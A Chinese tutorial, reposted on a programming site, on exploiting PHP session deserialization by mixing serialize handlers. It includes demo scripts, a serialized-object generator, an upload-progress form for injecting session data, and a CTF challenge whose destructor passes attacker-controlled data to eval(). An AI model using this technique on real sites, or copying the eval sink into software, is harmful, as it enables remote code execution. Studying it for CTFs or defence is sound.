服务器之家:专注于VPS、云服务器配置技术及软件下载分享
分类导航

PHP教程|ASP.NET教程|Java教程|ASP教程|编程技术|正则表达式|C/C++|IOS|C#|Swift|Android|VB|R语言|JavaScript|易语言|vb.net|

服务器之家 - 编程语言 - PHP教程 - PHP session的反序列化你了解吗

PHP session的反序列化你了解吗

2022-11-04 14:54凌晨四点起床刷题的Swag PHP教程

这篇文章主要为大家详细介绍了session反序列化,文中示例代码介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们可以参考一下,希望能够给你带来帮助

session反序列化的漏洞是由三种不同的反序列化引擎所产生的的漏洞

其中

?
1
session.serialize_handler string--定义用来序列化/反序列化的处理器名字。默认使用php

PHP session的反序列化你了解吗

若使用如下设置:

?
1
2
3
4
5
<?php
//ini_set('session.serialize_handler', 'php');
//ini_set("session.serialize_handler", "php_serialize");
ini_set("session.serialize_handler", "php_binary");
phpinfo();

PHP session的反序列化你了解吗

则改变了序列化的引擎

save_path则是session的存放路径 我们可以通过改变ini_Set来查看不同引擎下的序列化的类型

三种引擎的存储格式:

?
1
2
3
php : a|s:3:"wzk";
php_serialize : a:1:{s:1:"a";s:3:"wzk";}
php_binary : as:3:"wzk";

漏洞产生在于

php引擎的存储格式是键名 |serialized_string,而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题。
session_start() 会创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。

所以如果存在两种不同的引擎,就可以利用session_start()的自动反序列化,把我们想要传输的数据传输到服务器中:

eg:

?
1
2
3
4
5
<?php
ini_set("session.serialize_handler", "php_serialize");
session_start();
$_SESSION['swaggyp'] = $_GET['a'];
echo var_dump($_SESSION);

代码1:用来保存在本地一个session

代码2:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
ini_set('session.serialize_handler', 'php');
session_start();
echo var_dump($_SESSION);
class student{
    var $name;
    var $age;
    function __wakeup()
    {
        // TODO: Implement __wakeup() method.
        echo "wzk".$this->name;
    }
}

用于读取session然后进行反序列化 若wakeup方法被调用则说明反序列化成功

?
1
2
3
4
5
6
7
8
9
10
<?php
class student{
    var $name;
    var $age;
}
$a = new student();
$a->nage =  "swaggyp";
$a->age = "1111";
echo serialize($a);
//O:7:"student":3:{s:4:"name";N;s:3:"age";s:4:"1111";s:4:"nage";s:7:"swaggyp";}

该代码用于生成一个一个序列

参考于:

生成后,在1中传入这段序列化的值并在开头加入 | 则在第二个文件被解析的时候,就会把|后的内容直接当成一个类去解析 实现我们的目的

PHP session的反序列化你了解吗

PHP session的反序列化你了解吗

成功了

php 这个session.serialize_handler 将 | 后的字符串反序列化,导致产生恶意对象。

upload过程中会产生session,存在一个键值对的值为filename(可控),如果filename被我们修改为|+序列化对象字符串(特殊字符记得转义),filename |后的内容就会被认为是序列化的内容,进而反序列化产生恶意对象(实际上PHP中session是写到文件中的,我们暂且忽略这一中间步骤对此处并无影响),在对象自毁时去执行__destruct()内的语句

?
1
2
3
4
5
<form action =“ upload.php” method =“ POST” enctype =“ multipart / form-data”>
    <input type =“ hidden” name =“ PHP_SESSION_UPLOAD_PROGRESS” value =“ ryat” />
    <input type =“ file” name =“ file” />
    <input type =“ submit” />
</ form>

S E S S I O N 中 的 键 值 就 会 为 _SESSION中的键值就会为 S​ESSION中的键值就会为_SESSION[“upload_progress_ryat”],在会话上传过程中,将对会话数据进行序列化/反序列化,序列化格式由php.ini中的session.serialize_handler选项设置。 这意味着,如果在脚本中设置了不同的serialize_handler,那么可以导致注入任意session数据

题目:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
    public $mdzz;
    function __construct()
    {
        $this->mdzz = 'phpinfo();';
    }
    function __destruct()
    {
        eval($this->mdzz);
    }
}
if(isset($_GET['phpinfo']))
{
    $m = new OowoO();
}
else
{
    highlight_string(file_get_contents('index.php'));
}
?>

构造登录框和payload

PHP session的反序列化你了解吗

总结

本篇文章就到这里了,希望能够给你带来帮助,也希望您能够多多关注服务器之家的更多内容!

原文链接:https://blog.csdn.net/weixin_45782091/article/details/123724811

延伸 · 阅读

精彩推荐
  • PHP教程php适配器模式介绍

    php适配器模式介绍

    Adapter(别名Wrapper)模式:将一个类的接口,转换成客户期望的另一个类的接口。适配器让原本接口不兼容的类可以合作无间 ...

    PHP教程网1882020-01-06
  • PHP教程PHP+jquery实时显示网站在线人数的方法

    PHP+jquery实时显示网站在线人数的方法

    这篇文章主要介绍了PHP+jquery实时显示网站在线人数的方法,较为详细的分析了实时显示在线人数的原理与代码实现技巧,具有一定参考借鉴价值,需要的朋友可...

    PHP教程网3132020-08-27
  • PHP教程深入分析PHP引用(&)

    深入分析PHP引用(&)

    在 PHP 中引用意味着用不同的名字访问同一个变量内容。这并不像 C 的指针,替代的是,引用是符号表别名。PHP 的引用允许用两个变量来指向同一个内容...

    PHP教程网4242020-07-26
  • PHP教程设定php简写功能的方法

    设定php简写功能的方法

    在本篇文章里小编给大家整理的是关于如何设定php简写功能的相关文章以及知识点,有需要的朋友们可以学习下。...

    藏色散人11012021-09-18
  • PHP教程深入php中var_dump方法的使用详解

    深入php中var_dump方法的使用详解

    本篇文章是对php中var_dump方法的使用进行了详细的分析介绍,需要的朋友参考下 ...

    PHP教程网2732020-04-27
  • PHP教程PHP里的$_GET数组介绍

    PHP里的$_GET数组介绍

    今天小编就为大家分享一篇关于PHP里的$_GET数组介绍,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧...

    CODETC6592021-07-27
  • PHP教程PHP内核探索之变量

    PHP内核探索之变量

    php变量由变量名,类型,内容等部分组成,本文给大家分享php内核探索之变量,对php内核探索相关知识感兴趣的朋友一起学习吧...

    PHP教程网5032020-12-09
  • PHP教程Laravel使用scout集成elasticsearch做全文搜索的实现方法

    Laravel使用scout集成elasticsearch做全文搜索的实现方法

    这篇文章主要介绍了Laravel使用scout集成elasticsearch做全文搜索的实现方法,小编觉得挺不错的,现在分享给大家,也给大家做个参考。一起跟随小编过来看看...

    小金子6372019-08-16